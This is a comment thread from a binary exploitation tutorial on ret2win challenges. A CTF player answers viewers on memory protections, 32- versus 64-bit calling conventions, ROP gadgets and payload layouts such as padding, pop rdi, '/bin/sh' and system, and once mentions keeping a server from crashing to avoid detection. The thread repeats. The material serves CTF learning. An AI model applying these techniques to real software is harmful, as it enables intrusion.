Hi! Maybe I'm too early in your tutorials and you are planning on explaining this later, sorry if so and ignore this.. But it would be helpful if you could explain the securities in more detail. For example, you compile the code with different parameters and then checksec says "NX Enabled" or "Canary found".. But what do these securities mean and do exactly. I guess it is important because you use file and checksec as a default first action when you start. Knowing what the securities do will give more insight in how to approach the hack. Thumbsup for the tutorials, very well explained and good to understand. Thanks!
Thanks mate 😊 You are a bit early, but it's good you are already curious. I was debating whether or not to discuss the security protections more earlier on but didn't want to overwhelm/scare off newcomers with too much info at once. In the next episode (Thursday), we'll inject shellcode, then next week, we'll enable NX for the first time and see how we can bypass it. Over the next few weeks, the protections will be enabled one by one to see how they work and how they can be bypassed! Since you enquired, though, here's a very brief summary: RELRO: Refers to the read/writeability of the Global Offset Table (GOT). If we have "FULL RELRO", the GOT will be marked as read-only, and we will not be able to overwrite entries. Stack Canaries: If canaries are enabled, they will be assigned a random value and placed on the stack at the beginning of a function. Before the function returns (where our buffer overflow would occur), it will first check that the canary still equals the random value assigned at the beginning. If we've overwritten the return address, we must have overwritten the canary to reach it so the program will crash with a message "stack smashing detected". NX/DEP: When No-eXecute or Data Execution Prevention is enabled, values on the stack are marked as DATA or CODE, so any input we inject onto the stack will be marked as data, i.e. if we inject some shellcode onto the stack (this weeks episode), it won't be executable. PIE: Position Independent Executables; if this is enabled, the program will have a different base memory address each time the program loads. Consider the Ret2Win attack; we overflow the buffer and overwrite the return address with the address of a win() or hacked() function. If PIE is enabled, we won't find that address by analysing the binary. We could see the offset to that function from the base address, but we need to leak an address to calculate the base. RWX: Indicates whether the binary has writeable and executable segments at the same time.
@@_CryptoCat since you mentioned it, any idea where we could get some example binaries or ctf's and try to exploit them on our own, as some kind of challenge, assignment. Maybe with others on discord even ? Manually, pwndebug and auto-pwndebug ? Nice to watch the videos and everything seems so easy but I think it would add some value if we try it on our own. I know I could use some of your code as template and change the variables, function names, add a flag or something, but I don't know if that's challenge enough.
@@DaniSpeh Finding binaries is a bit easier than source code as many CTFs will keep their binaries available (pico, defcon etc have all previous years available). There are some good examples with source code available from the DownUnderCTFs (GitHub) and aside from HackTheBox, ROPEmporium etc there's some other sites with challenges I haven't spent much time on yet (but mean to) like exploit-exercises, deusx64, heapLab etc, there's some links to those and more here: github.com/Crypto-Cat/CTF#resources - Apart from that, nearly every week there should be a CTF on CTFtime with a Pwn category. I think the biggest problem is a lack of time 😆
I try to stay away from developing exploits with Python2 cuz it’s pretty much deprecated now. Yet, it’s still waaay easier and faster doing it with Python2. Btw great content, I’m loving this short series.
Incredible explanation. Thank you. Very few videos and articles have been able to explain this topic as well as you do. One question though is how could I have used Ghidra or gdb to look for 'pop rdi' and 'pop rsi'? The addresses matched by ropper don't seem to match exacly what I see in Ghidra (or gdb)
Thank you! Glad it was helpful 🙂 Hmmm I've always just used ropper (or pwntools) but check this out: reverseengineering.stackexchange.com/questions/26327/finding-ropper-ropgadget-offsets-in-ghidra-disassembly
Probably a noob question but I would like to know why we sent the address of hacked func. after the params in 64 bit but before params in 32 bit? And also, would the exploit have worked adding params first then hacked address in 32?
simply put; 32 bit programs read function variables off the stack, whereas 64 bit programs read parameters from CPU registers (RDI, RSI, RDX, RCX etc), so we need to use "pop" instructions to prepare the parameters in the registers. it wouldn't work placing params before the hacked address in 32 bit, because the function expects: [function address + return pointer + params] on the stack, and that's where it will always look.
Thanks mate! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
one thing i noticed with ropper. on an arch based distro ropper doesn't show as many results as on debian, idk why that is but it made me staring confused on the output xd
interesting 🤔 it also doesn't show as many results in pwntools, even though i'm pretty sure it just uses ropper in the find_gadget function. it used to frustrate me because i like maximum automation / minimum hardcoding 😁
Thanks! It will depend on the program and the exploit (e.g. with shellcode you often have to avoid "bad chars"). In this example it should be fine.. Null bytes (0x00) often cause issues though (you can't print/send payload manually, but could use pwntools script still).
I asked this because I suspect that scanf stops parsing input when it matches a “whitespace” character including whitespace, new line or tab. In this case the payload would be truncated. Is this correct?
@@Mike11684 Ahhh good point! I didn't check the C code (it's been a while) but you're right in this case. You'll see that for the next video, we swapped scanf() for gets() 😉
Thanks 🥰 There's another comment asking about "return point at stack at 5:05" which you can check for a more detailed explanation but TLDR: In 32-bit when calling a function, the parameters are placed on the stack after the return pointer. We don't really care where the program returns to, so we just supply "AAAA" or "junk", just something to pad out the space to our function params.
Yes! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code 🙂
@@_CryptoCat CAN YOU PROVIDE A SUITABLE METHOD TO PERFORM POP RDI FUNCTION OR IS THERE A WAY TO ADD THIS INSTRUCTION ON THE PYHTON -C PAYLOAD WE JUST WROTE WHILE MANUALLY EXPLOITING THE PROGRAM IN X64
A quick fix is to manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
Hello, I was going through the x64 version of this challenge and I dealt with something interesting and it became somewhat of a rabbit hole. I am accustomed to compiling my own binaries for obvious reasons and I found it interesting when I had different disassembly throughout my program and even different ROP gadgets. It turns out I have a glibc mismatch and my version is newer than the version you originally compiled the binary with. I did not have a pop rdi ROP gadget in my compiled binary. My question is, if you ran into this issue, what would you have done if you were me?
Hey! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
I mean after the instruction pointer access the return address(hacked) how it know the next buffer("aaa" and "bbb") I think it automatically went to the hacked function memory segment . i know my english so bad but tell me i wanna now @@_CryptoCat
You'd want to use the relevant address type in PwnTools, e.g. when I use the "flat()" or "pack()" function, it will pack addresses to the same architecture as the binary (32 or 64 bit addresses) but you can specify like p8(1), p16(1) etc for different address types 🙂
Did you compile the binary yourself or download the pre-existing one? I think there was a compiler update so GCC doesn't include that instruction by default for this challenge anymore. Try to download the pre-compiled binary, else you can hardcode a "pop rdi" instruction to the C code, or look for another exploit that doesn't use pop rdi 😉
Ooooh great question! You would need to provide an address as a parameter, which points to the string in memory. This is how lib-c's system('/bin/sh') works. You can't just call system() and pass the literal string "/bin/sh" as an argument, you have to provide a pointer to the string. If you can leak the address of the stack, you could submit "/bin/sh" as input to the program e.g. the beginning of your padding for the overflow, then provide that leaked stack address as the parameter. Alternatively, you might be able to write the string to a section of the binary like .data or .bss, then provide the address of that location. EDIT: The Space Heroes CTF has a nice challenge which demonstrates your question actually, I'll try and make a video for it over the weekend 😉
@@ananthavijay.m5711 haha good stuff 👌 For anybody else interested in the solution to the Space Heroes challenge: th-cam.com/video/DRgpQvraTUo/w-d-xo.html
I see you're pretty active in responding.. I've been watching your videos to learn how to do an assignment.. still no luck though, if I posted the flag.c binary do you think you could help me in determining the payload to send?
Hmmm if it's an assignment I can't provide too much assistance *but* if you send me the code and have specific questions, I'll certainly try to point you in the right direction (without cheating).
Hey! Thank you very much for amazing tutorial. :) :)Unfortunately my ropper tool is unable to locate 'pop rdi' and 'pop rsi' gadgets. Could you be so kind and help me with this? I wonder what is the possible reason of this problem. Couldn't find it on web.. I compiled a source code with "gcc -o ret2win_param ret2win_params.c -fno-stack-protector -no-pie -zexecstack" and ropper is able to find only 97 gadgets. Thank you in advance for any help. )
Hi, thanks! I assume this is due to a new GCC compiler, using different instructions now.. You could try and solve the challenge using the pre-compiled binary on the github. Let me know if any problems!
Yh you were right, I was lacking gcc libraries msf-pattern_create and offset didn't work for the 64bit xD because the RIP didn't get populated with our buffer right? I know I'm to use cyclic was just curious what other tools will do Hehe reading comments also helps with solving questions
I compiled the 64bit edition and when I ran ropper, it didn't find a "pop rdi" nor "pop rsi" gadget. Why would that be? And what should I do if an appropriate gadget can't be found?
Yes! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
Good question! This is basically the calling convention for 32-bit functions. Unlike 64-bit, where the parameters are placed in registers (RDI, RSI, RDX etc), if you want to call a function in a x86 program, the stack should have the following layout: return pointer param1 param2 param3 [...] paramN The return pointer is the address that the program should return to after completing the function. In our case, we don't care if the program crashes after we've got the flag but let's say this was a web server.. We'd want to develop a reliable exploit that doesn't crash the server each time it's run, therefore we'd replace "junk" with a viable address. See more: ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/calling-conventions#32-bit
Hello there, I keep getting 'Corefile PID does not match! (got - 1)' error every time I run the exploit.py and ropstat.py , the scripts end with "Value Error: cannot mmap an empty file". Any fix for this or workaround?
Hmmm a quick fix would be to remove the call to the find_ip function and instead hardcode the offset. Probably the coredump is not being generated, I have seen some problems before where the program didn't have permission to write the coredump to file.. Try and run with debug mode on and see if you get any extra output.
@@_CryptoCat yes, that I figured and hardcoded the offset. Thank you. But there is another question regarding use of JUNK part in the payload, what is it and what would I do if I have to return to main() normlly instead of seg fault from hacked() function's successful execution?
Hi! Why do I see in my RSP something like: RSP 0x7ffdcf8a2080 ◂- 0x6161000000000000 and not the strings? those two a's (6161) happen to be on the top of the stack (rsp) and are the first two characters of my cyclic string. Any advice?
@@_CryptoCat So it's look like this? rop = ROP(exe) rop.funcname(0x..) # win function I can't find any WU/POC that use ROP.chain while solving ret2win in stripped binary
No real difference to ret2win x86, just 64-bit addresses instead. I've got loads of CTF videos covering pwn challs as well if you ever find something missing for the series, e.g. here's a 64-but ret2win: th-cam.com/video/0jCGyf32rHs/w-d-xo.html
Why do we have to say the name of the variable deadbeef twice to pad the bytes? Can we just add 0s and get the same result? What part does it actually read. Thanks if you answer bro.
Great question! Actually, if you change the 64-bit C code to check 0xdeadbeef instead of 0xdeadbeefdeadbeef, it will work fine.. depending how you submit it. If you use PwnTools, or write the payload to a file submitting 0x00000000deadbeef it will work. However, if you try to use the terminal, you'll have issues with the null bytes. To test this, try and run the following in your terminal: python2 -c 'print "deadbeef" + "\x00\x00\x00\x00" + "codebabe"'
the pops doen't exsit for me when search with ropper so what I do there are just pop rbp;ret edit: something werid , i have download the binary from your github and search in and I found the pops but when I complied through my machine pops not exist
A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
@@_CryptoCat no problem I solve it A while ago I faced a challenge and the challenge was to give two files libc.so.6 and binary actually I am not a ctf player so I couldn't solve it the binary has PIE enable and NX enable and Full relro ,I am seriously trying hard to solve this challenge and learning pwn from your playlist but I can't until now can you help me I searched for a similar ctf like that but I don't get any ctf give tow files that annoying
I have a CTF competition in a week and I'm trying hard to be better at CTF, but what makes me feel hopeless is that the challenges are at an easy level and I can't solve them. sometimes I can and sometimes I spent a lot of time without results
@@cymzfr Don't worry about it! I've played hundreds of CTFs over many years and I still struggle to keep up. There are plenty of CTFs that have "baby" challenges that I can't solve 😂 Just try to learn a little more each time.. even if you don't solve anything, go back and read the writeups afterwards so you will know what to try next time. All the pro CTF players are pro because they practice, same as with gaming or sports.
Good question! This is because in 32-bit, the parameters for the function are read from the stack BUT the program expects the return pointer to be on the stack, in between the function call and the arguments. If this were a web server or some service which we didn't want to crash after our attack finishes (to avoid detection), we'd want to that return pointer to point to valid address (e.g. main). Here's another example of how this works 32-bit vs 64-bit (with a ret2lib-c attack): 64-bit is essentially the same format except the parameters are taken from registers rather than the stack. If we want to have program to continue (x64) we might setup a payload like: [padding, pop_rdi, bin_sh, system, main]. To accomplish the same thing in x86 we'd want: [padding, system, main, bin_sh]. The address we want to return to (return pointer) comes after the system() call in both payloads, the only difference is how the parameters are taken; in x86 they are read from the stack after the return addresses, for x64 they must be popped into registers before the return addresses. Hope this makes sense, here's a couple of resources that helped me get my head around this: ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/calling-conventions and zhu45.org/posts/2017/Jul/30/understanding-how-function-call-works/#calling-a-function
Hey mate, I tried to recreate this exploit in my machine, I tried it without setting a breakpoint in RET of the register name function The exploit didn't work. But when I set a breakpoint in RET of the Register name function it works fine. I can't find the reason for this behaviour of the binary, could be please explain? and It works well outside of gdb, if setting a breakpoint in the RET of the "Register name" function is mandatory how is this possible?
Excuse me sir, i have 1 problem..... I have copied your source and saved it on my computer as "example.c" then I compiled it with the command "gcc example.c -o example -fno-stack-protector -z execstack -no-pie" then I checked "ropper --file example --search "pop rdi" but not found, it only shows up to "searching for gadgets: pop rdi" I compared it to your "ret2win_params" binary, and your binary can be found pop rdi while mine doesn't, am I wrong for the command the compile?
Hey! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
@@rockedwow7217 I guess it will be gcc, you can check godbolt.org to see how the code will compile with different compilers. It's sister site dogbolt.org is also a valuable resource 🙂
@@_CryptoCat by the way, I am referring to the fact that i cant find 'rsi', or 'rdi' while using ropper or ROPgadget... can you help me with that, please?
i put a like to this video, but u should know that rop making part is not clear. who returning ?, where ?, why ?. this moments are essential to those who already in. but for nooobies is definately not
Wanna see something cool? This function is TOP SECRET! How did you get in here?! :O [Inferior 1 (process 454529) exited normally] I managed to resume the execution properly and avoid the SIGSEGV!! (In the x64 version)
@@_CryptoCat returned from hacked to main+14 and then from main to __libc_start_call_main+22. Pushing our code onto the stack messed up the main's return adress so I inspected the stack beforehand to know where it was supposed to go and pushed this adress at the end of the payload.
Hi!
Maybe I'm too early in your tutorials and you are planning on explaining this later, sorry if so and ignore this.. But it would be helpful if you could explain the securities in more detail. For example, you compile the code with different parameters and then checksec says "NX Enabled" or "Canary found".. But what do these securities mean and do exactly. I guess it is important because you use file and checksec as a default first action when you start. Knowing what the securities do will give more insight in how to approach the hack.
Thumbsup for the tutorials, very well explained and good to understand.
Thanks!
Thanks mate 😊 You are a bit early, but it's good you are already curious. I was debating whether or not to discuss the security protections more earlier on but didn't want to overwhelm/scare off newcomers with too much info at once. In the next episode (Thursday), we'll inject shellcode, then next week, we'll enable NX for the first time and see how we can bypass it. Over the next few weeks, the protections will be enabled one by one to see how they work and how they can be bypassed! Since you enquired, though, here's a very brief summary:
RELRO: Refers to the read/writeability of the Global Offset Table (GOT). If we have "FULL RELRO", the GOT will be marked as read-only, and we will not be able to overwrite entries.
Stack Canaries: If canaries are enabled, they will be assigned a random value and placed on the stack at the beginning of a function. Before the function returns (where our buffer overflow would occur), it will first check that the canary still equals the random value assigned at the beginning. If we've overwritten the return address, we must have overwritten the canary to reach it so the program will crash with a message "stack smashing detected".
NX/DEP: When No-eXecute or Data Execution Prevention is enabled, values on the stack are marked as DATA or CODE, so any input we inject onto the stack will be marked as data, i.e. if we inject some shellcode onto the stack (this weeks episode), it won't be executable.
PIE: Position Independent Executables; if this is enabled, the program will have a different base memory address each time the program loads. Consider the Ret2Win attack; we overflow the buffer and overwrite the return address with the address of a win() or hacked() function. If PIE is enabled, we won't find that address by analysing the binary. We could see the offset to that function from the base address, but we need to leak an address to calculate the base.
RWX: Indicates whether the binary has writeable and executable segments at the same time.
@@_CryptoCat thank you very much CryptoCat, much much appreciated 😊🌹🙏🏽
I cant say it well enough how quality this series is..you just earned one of my rare subs⭐
awwww thank you so much 💜
Loving all these contents about binary exploitation!
thanks bro 💜
This is a great video. I am forever grateful to this channel for teaching me the basics.
awww thank you mate 🙏🥰
Who knew bin ex was so fun. Really getting it, thanks coach.
awww that's what i like to hear! thanks mate 💜
You are that good at explaining throughout the course, that even I as a bloody beginner spotted where you did wrong :D
hahaha just testing you!! 👀😂
@@_CryptoCat since you mentioned it, any idea where we could get some example binaries or ctf's and try to exploit them on our own, as some kind of challenge, assignment. Maybe with others on discord even ? Manually, pwndebug and auto-pwndebug ? Nice to watch the videos and everything seems so easy but I think it would add some value if we try it on our own. I know I could use some of your code as template and change the variables, function names, add a flag or something, but I don't know if that's challenge enough.
@@DaniSpeh Finding binaries is a bit easier than source code as many CTFs will keep their binaries available (pico, defcon etc have all previous years available). There are some good examples with source code available from the DownUnderCTFs (GitHub) and aside from HackTheBox, ROPEmporium etc there's some other sites with challenges I haven't spent much time on yet (but mean to) like exploit-exercises, deusx64, heapLab etc, there's some links to those and more here: github.com/Crypto-Cat/CTF#resources - Apart from that, nearly every week there should be a CTF on CTFtime with a Pwn category. I think the biggest problem is a lack of time 😆
im coming back to this and understood everything. Thank you!
Awesome! 😊
I try to stay away from developing exploits with Python2 cuz it’s pretty much deprecated now. Yet, it’s still waaay easier and faster doing it with Python2.
Btw great content, I’m loving this short series.
Yeh haha if you are putting the exploit together manually, python2 is a lot easier. PwnTools is fine with python3 though 😊 Thanks mate! 💜
Ahh yes this is what I was looking for! Thanks!
Great video bro.
Appreciate it, thanks mate! 🥰
Incredible explanation. Thank you. Very few videos and articles have been able to explain this topic as well as you do. One question though is how could I have used Ghidra or gdb to look for 'pop rdi' and 'pop rsi'? The addresses matched by ropper don't seem to match exacly what I see in Ghidra (or gdb)
Thank you! Glad it was helpful 🙂 Hmmm I've always just used ropper (or pwntools) but check this out: reverseengineering.stackexchange.com/questions/26327/finding-ropper-ropgadget-offsets-in-ghidra-disassembly
i really lob your videos broo
💜💜💜
Probably a noob question but I would like to know why we sent the address of hacked func. after the params in 64 bit but before params in 32 bit? And also, would the exploit have worked adding params first then hacked address in 32?
simply put; 32 bit programs read function variables off the stack, whereas 64 bit programs read parameters from CPU registers (RDI, RSI, RDX, RCX etc), so we need to use "pop" instructions to prepare the parameters in the registers.
it wouldn't work placing params before the hacked address in 32 bit, because the function expects: [function address + return pointer + params] on the stack, and that's where it will always look.
@@_CryptoCat Understood. Thanks for clearing. Your content is great! Love em'
Nice video
thanks mate 🥰
This series is absolutely amazing, but I have a question when I use ropper on the 64 bit thing I can't find pop rdi. Could you please help me out?
Thanks mate! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
Much love from nigeria
thanks mate, back at ya 💜
one thing i noticed with ropper.
on an arch based distro ropper doesn't show as many results as on debian, idk why that is but it made me staring confused on the output xd
interesting 🤔 it also doesn't show as many results in pwntools, even though i'm pretty sure it just uses ropper in the find_gadget function. it used to frustrate me because i like maximum automation / minimum hardcoding 😁
youtube algo get this man more views
💯
Great video and very clear explanation! Only one question: does the exploit work if the payload would include a whitespace? (0x20)
Thanks! It will depend on the program and the exploit (e.g. with shellcode you often have to avoid "bad chars"). In this example it should be fine.. Null bytes (0x00) often cause issues though (you can't print/send payload manually, but could use pwntools script still).
I asked this because I suspect that scanf stops parsing input when it matches a “whitespace” character including whitespace, new line or tab. In this case the payload would be truncated. Is this correct?
@@Mike11684 Ahhh good point! I didn't check the C code (it's been a while) but you're right in this case. You'll see that for the next video, we swapped scanf() for gets() 😉
awesome vidoe❤
but I don't understand why you used "junk" in payload
Thanks 🥰 There's another comment asking about "return point at stack at 5:05" which you can check for a more detailed explanation but TLDR:
In 32-bit when calling a function, the parameters are placed on the stack after the return pointer. We don't really care where the program returns to, so we just supply "AAAA" or "junk", just something to pad out the space to our function params.
thanks
💜
Ropper isn't finding anything for rdi or rsi on my exe - pulled yours down and it finds them fine. Moving on I guess.
Yes! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code 🙂
@@_CryptoCat CAN YOU PROVIDE A SUITABLE METHOD TO PERFORM POP RDI FUNCTION OR IS THERE A WAY TO ADD THIS INSTRUCTION ON THE PYHTON -C PAYLOAD WE JUST WROTE WHILE MANUALLY EXPLOITING THE PROGRAM IN X64
A quick fix is to manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
Hello, I was going through the x64 version of this challenge and I dealt with something interesting and it became somewhat of a rabbit hole. I am accustomed to compiling my own binaries for obvious reasons and I found it interesting when I had different disassembly throughout my program and even different ROP gadgets. It turns out I have a glibc mismatch and my version is newer than the version you originally compiled the binary with. I did not have a pop rdi ROP gadget in my compiled binary. My question is, if you ran into this issue, what would you have done if you were me?
Hey! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
ahhhh i too am the same, compiled my own binary for obv reasons, and do not have the rop gadget "pop rdi"
what fix did you end up doing bro?
how parameters "AAAA" and "BBB" got the hacked stack frame ?????????
I don't have time to review the video atm, you tell me how 😉
I mean after the instruction pointer access the return address(hacked) how it know the next buffer("aaa" and "bbb") I think it automatically went to the hacked function memory segment .
i know my english so bad but tell me i wanna now @@_CryptoCat
How would you pass say an int or a longint as a parameter? Could you simply just assign it the way we did with the return address and 0xdeadbeef?
You'd want to use the relevant address type in PwnTools, e.g. when I use the "flat()" or "pack()" function, it will pack addresses to the same architecture as the binary (32 or 64 bit addresses) but you can specify like p8(1), p16(1) etc for different address types 🙂
What if you cant find "pop rdi"? (i was using pwngdb "rop" btw). EDIT: i used ropper, still no pop rdi 🤔
Did you compile the binary yourself or download the pre-existing one? I think there was a compiler update so GCC doesn't include that instruction by default for this challenge anymore. Try to download the pre-compiled binary, else you can hardcode a "pop rdi" instruction to the C code, or look for another exploit that doesn't use pop rdi 😉
I compiled myself, yea i read some of your anwsers to others in the comments with the same problem thanks.@@_CryptoCat
How would you pass a string (char *) to the function?
Ooooh great question! You would need to provide an address as a parameter, which points to the string in memory. This is how lib-c's system('/bin/sh') works. You can't just call system() and pass the literal string "/bin/sh" as an argument, you have to provide a pointer to the string.
If you can leak the address of the stack, you could submit "/bin/sh" as input to the program e.g. the beginning of your padding for the overflow, then provide that leaked stack address as the parameter. Alternatively, you might be able to write the string to a section of the binary like .data or .bss, then provide the address of that location.
EDIT: The Space Heroes CTF has a nice challenge which demonstrates your question actually, I'll try and make a video for it over the weekend 😉
@@_CryptoCat I solved the Space Heroes CTF challenge with the help of your reply 😂 Thanks
@@ananthavijay.m5711 haha good stuff 👌
For anybody else interested in the solution to the Space Heroes challenge: th-cam.com/video/DRgpQvraTUo/w-d-xo.html
I see you're pretty active in responding.. I've been watching your videos to learn how to do an assignment.. still no luck though, if I posted the flag.c binary do you think you could help me in determining the payload to send?
Hmmm if it's an assignment I can't provide too much assistance *but* if you send me the code and have specific questions, I'll certainly try to point you in the right direction (without cheating).
Hey! Thank you very much for amazing tutorial. :) :)Unfortunately my ropper tool is unable to locate 'pop rdi' and 'pop rsi' gadgets. Could you be so kind and help me with this? I wonder what is the possible reason of this problem. Couldn't find it on web.. I compiled a source code with "gcc -o ret2win_param ret2win_params.c -fno-stack-protector -no-pie -zexecstack" and ropper is able to find only 97 gadgets. Thank you in advance for any help. )
Hi, thanks! I assume this is due to a new GCC compiler, using different instructions now.. You could try and solve the challenge using the pre-compiled binary on the github. Let me know if any problems!
Yh you were right, I was lacking gcc libraries
msf-pattern_create and offset didn't work for the 64bit xD because the RIP didn't get populated with our buffer right?
I know I'm to use cyclic was just curious what other tools will do
Hehe reading comments also helps with solving questions
Ermmm I haven't tried tested with msf-pattern_create but if it works x86 and not x64, you are probably correct!
I compiled the 64bit edition and when I ran ropper, it didn't find a "pop rdi" nor "pop rsi" gadget. Why would that be? And what should I do if an appropriate gadget can't be found?
Yes! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
@@_CryptoCat Thank you for your helpful responses!! I'm slowly working my way through this video series!
@@darrensantos5980 Awesome, enjoy! 💜
6:50
How do you know to put the 4 ‘junk’ characters before the parameters?
Good question! This is basically the calling convention for 32-bit functions. Unlike 64-bit, where the parameters are placed in registers (RDI, RSI, RDX etc), if you want to call a function in a x86 program, the stack should have the following layout:
return pointer param1 param2 param3 [...] paramN
The return pointer is the address that the program should return to after completing the function. In our case, we don't care if the program crashes after we've got the flag but let's say this was a web server.. We'd want to develop a reliable exploit that doesn't crash the server each time it's run, therefore we'd replace "junk" with a viable address. See more: ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/calling-conventions#32-bit
@@_CryptoCatI had the same question. Thanks for answering! Your videos are awesome.🤩
@@eduardcorlan99 Thanks mate! 🙏🥰
Hello there, I keep getting 'Corefile PID does not match! (got - 1)' error every time I run the exploit.py and ropstat.py , the scripts end with "Value Error: cannot mmap an empty file". Any fix for this or workaround?
Hmmm a quick fix would be to remove the call to the find_ip function and instead hardcode the offset. Probably the coredump is not being generated, I have seen some problems before where the program didn't have permission to write the coredump to file.. Try and run with debug mode on and see if you get any extra output.
@@_CryptoCat yes, that I figured and hardcoded the offset. Thank you. But there is another question regarding use of JUNK part in the payload, what is it and what would I do if I have to return to main() normlly instead of seg fault from hacked() function's successful execution?
Hi!
Why do I see in my RSP something like:
RSP 0x7ffdcf8a2080 ◂- 0x6161000000000000
and not the strings? those two a's (6161) happen to be on the top of the stack (rsp) and are the first two characters of my cyclic string. Any advice?
hey, how many cyclic bytes did you send? are you working inside GDB-PwnDbg?
What if 64 bit but the binary got stripped? Can I use ROP chain?
Sure! You'd just want to provide the function/instruction address (or offset), rather than the name 🙂
@@_CryptoCat So it's look like this?
rop = ROP(exe)
rop.funcname(0x..) # win function
I can't find any WU/POC that use ROP.chain while solving ret2win in stripped binary
How about ret2win x64 but without param?
No real difference to ret2win x86, just 64-bit addresses instead. I've got loads of CTF videos covering pwn challs as well if you ever find something missing for the series, e.g. here's a 64-but ret2win: th-cam.com/video/0jCGyf32rHs/w-d-xo.html
Why do we have to say the name of the variable deadbeef twice to pad the bytes? Can we just add 0s and get the same result? What part does it actually read. Thanks if you answer bro.
Great question! Actually, if you change the 64-bit C code to check 0xdeadbeef instead of 0xdeadbeefdeadbeef, it will work fine.. depending how you submit it.
If you use PwnTools, or write the payload to a file submitting 0x00000000deadbeef it will work. However, if you try to use the terminal, you'll have issues with the null bytes. To test this, try and run the following in your terminal:
python2 -c 'print "deadbeef" + "\x00\x00\x00\x00" + "codebabe"'
Oh wow bro thank you for taking the time to reply! Makes sense
the pops doen't exsit for me when search with ropper so what I do there are just pop rbp;ret
edit: something werid , i have download the binary from your github and search in and I found the pops but when I complied through my machine pops not exist
A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
@@_CryptoCat no problem I solve it
A while ago I faced a challenge and the challenge was to give two files libc.so.6 and binary actually I am not a ctf player so I couldn't solve it the binary has PIE enable and NX enable and Full relro ,I am seriously trying hard to solve this challenge and learning pwn from your playlist but I can't until now can you help me I searched for a similar ctf like that but I don't get any ctf give tow files that annoying
I have a CTF competition in a week and I'm trying hard to be better at CTF, but what makes me feel hopeless is that the challenges are at an easy level and I can't solve them. sometimes I can and sometimes I spent a lot of time without results
@@cymzfr Don't worry about it! I've played hundreds of CTFs over many years and I still struggle to keep up. There are plenty of CTFs that have "baby" challenges that I can't solve 😂 Just try to learn a little more each time.. even if you don't solve anything, go back and read the writeups afterwards so you will know what to try next time. All the pro CTF players are pro because they practice, same as with gaming or sports.
@@_CryptoCat Thanks for your response, I appreciate it
hey bro can u tell why we use return point at stack at 5.05 ?
Good question! This is because in 32-bit, the parameters for the function are read from the stack BUT the program expects the return pointer to be on the stack, in between the function call and the arguments. If this were a web server or some service which we didn't want to crash after our attack finishes (to avoid detection), we'd want to that return pointer to point to valid address (e.g. main).
Here's another example of how this works 32-bit vs 64-bit (with a ret2lib-c attack):
64-bit is essentially the same format except the parameters are taken from registers rather than the stack. If we want to have program to continue (x64) we might setup a payload like: [padding, pop_rdi, bin_sh, system, main].
